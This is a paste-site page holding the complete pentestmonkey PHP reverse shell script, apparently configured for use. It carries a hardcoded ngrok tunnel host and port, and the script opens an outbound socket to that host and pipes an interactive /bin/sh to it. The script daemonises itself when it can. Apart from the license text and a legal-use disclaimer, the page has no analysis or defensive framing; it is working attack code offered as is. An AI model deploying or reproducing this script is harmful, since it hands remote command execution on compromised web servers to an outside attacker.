Untitled


SUBMITTED BY: Guest

DATE: Oct. 16, 2024, 12:08 a.m.

FORMAT: Text only

SIZE: 6.4 kB

HITS: 86

  1. <?php
  2. // php-reverse-shell - A Reverse Shell implementation in PHP
  3. // Copyright (C) 2007 mailto:pentestmonkey@pentestmonkey.net
  4. //
  5. // This tool may be used for legal purposes only. Users take full responsibility
  6. // for any actions performed using this tool. The author accepts no liability
  7. // for damage caused by this tool. If these terms are not acceptable to you, then
  8. // do not use this tool.
  9. //
  10. // In all other respects the GPL version 2 applies:
  11. //
  12. // This program is free software; you can redistribute it and/or modify
  13. // it under the terms of the GNU General Public License version 2 as
  14. // published by the Free Software Foundation.
  15. //
  16. // This program is distributed in the hope that it will be useful,
  17. // but WITHOUT ANY WARRANTY; without even the implied warranty of
  18. // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
  19. // GNU General Public License for more details.
  20. //
  21. // You should have received a copy of the GNU General Public License along
  22. // with this program; if not, write to the Free Software Foundation, Inc.,
  23. // 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
  24. //
  25. // This tool may be used for legal purposes only. Users take full responsibility
  26. // for any actions performed using this tool. If these terms are not acceptable to
  27. // you, then do not use this tool.
  28. //
  29. // You are encouraged to send comments, improvements or suggestions to
  30. // me at mailto:pentestmonkey@pentestmonkey.net
  31. //
  32. // Description
  33. // -----------
  34. // This script will make an outbound TCP connection to a hardcoded IP and port.
  35. // The recipient will be given a shell running as the current user (apache normally).
  36. //
  37. // Limitations
  38. // -----------
  39. // proc_open and stream_set_blocking require PHP version 4.3+, or 5+
  40. // Use of stream_select() on file descriptors returned by proc_open() will fail and return FALSE under Windows.
  41. // Some compile-time options are needed for daemonisation (like pcntl, posix). These are rarely available.
  42. //
  43. // Usage
  44. // -----
  45. // See http://pentestmonkey.net/tools/php-reverse-shell if you get stuck.
  46. set_time_limit (0);
  47. $VERSION = "1.0";
  48. $ip = '0.tcp.ap.ngrok.io'; // CHANGE THIS
  49. $port = 18961; // CHANGE THIS
  50. $chunk_size = 1400;
  51. $write_a = null;
  52. $error_a = null;
  53. $shell = 'uname -a; w; id; /bin/sh -i';
  54. $daemon = 0;
  55. $debug = 0;
  56. //
  57. // Daemonise ourself if possible to avoid zombies later
  58. //
  59. // pcntl_fork is hardly ever available, but will allow us to daemonise
  60. // our php process and avoid zombies. Worth a try...
  61. if (function_exists('pcntl_fork')) {
  62. // Fork and have the parent process exit
  63. $pid = pcntl_fork();
  64. if ($pid == -1) {
  65. printit("ERROR: Can't fork");
  66. exit(1);
  67. }
  68. if ($pid) {
  69. exit(0); // Parent exits
  70. }
  71. // Make the current process a session leader
  72. // Will only succeed if we forked
  73. if (posix_setsid() == -1) {
  74. printit("Error: Can't setsid()");
  75. exit(1);
  76. }
  77. $daemon = 1;
  78. } else {
  79. printit("WARNING: Failed to daemonise. This is quite common and not fatal.");
  80. }
  81. // Change to a safe directory
  82. chdir("/");
  83. // Remove any umask we inherited
  84. umask(0);
  85. //
  86. // Do the reverse shell...
  87. //
  88. // Open reverse connection
  89. $sock = fsockopen($ip, $port, $errno, $errstr, 30);
  90. if (!$sock) {
  91. printit("$errstr ($errno)");
  92. exit(1);
  93. }
  94. // Spawn shell process
  95. $descriptorspec = array(
  96. 0 => array("pipe", "r"), // stdin is a pipe that the child will read from
  97. 1 => array("pipe", "w"), // stdout is a pipe that the child will write to
  98. 2 => array("pipe", "w") // stderr is a pipe that the child will write to
  99. );
  100. $process = proc_open($shell, $descriptorspec, $pipes);
  101. if (!is_resource($process)) {
  102. printit("ERROR: Can't spawn shell");
  103. exit(1);
  104. }
  105. // Set everything to non-blocking
  106. // Reason: Occsionally reads will block, even though stream_select tells us they won't
  107. stream_set_blocking($pipes[0], 0);
  108. stream_set_blocking($pipes[1], 0);
  109. stream_set_blocking($pipes[2], 0);
  110. stream_set_blocking($sock, 0);
  111. printit("Successfully opened reverse shell to $ip:$port");
  112. while (1) {
  113. // Check for end of TCP connection
  114. if (feof($sock)) {
  115. printit("ERROR: Shell connection terminated");
  116. break;
  117. }
  118. // Check for end of STDOUT
  119. if (feof($pipes[1])) {
  120. printit("ERROR: Shell process terminated");
  121. break;
  122. }
  123. // Wait until a command is end down $sock, or some
  124. // command output is available on STDOUT or STDERR
  125. $read_a = array($sock, $pipes[1], $pipes[2]);
  126. $num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);
  127. // If we can read from the TCP socket, send
  128. // data to process's STDIN
  129. if (in_array($sock, $read_a)) {
  130. if ($debug) printit("SOCK READ");
  131. $input = fread($sock, $chunk_size);
  132. if ($debug) printit("SOCK: $input");
  133. fwrite($pipes[0], $input);
  134. }
  135. // If we can read from the process's STDOUT
  136. // send data down tcp connection
  137. if (in_array($pipes[1], $read_a)) {
  138. if ($debug) printit("STDOUT READ");
  139. $input = fread($pipes[1], $chunk_size);
  140. if ($debug) printit("STDOUT: $input");
  141. fwrite($sock, $input);
  142. }
  143. // If we can read from the process's STDERR
  144. // send data down tcp connection
  145. if (in_array($pipes[2], $read_a)) {
  146. if ($debug) printit("STDERR READ");
  147. $input = fread($pipes[2], $chunk_size);
  148. if ($debug) printit("STDERR: $input");
  149. fwrite($sock, $input);
  150. }
  151. }
  152. fclose($sock);
  153. fclose($pipes[0]);
  154. fclose($pipes[1]);
  155. fclose($pipes[2]);
  156. proc_close($process);
  157. // Like print, but does nothing if we've daemonised ourself
  158. // (I can't figure out how to redirect STDOUT like a proper daemon)
  159. function printit ($string) {
  160. if (!$daemon) {
  161. print "$string\n";
  162. }
  163. }
  164. ?>

comments powered by Disqus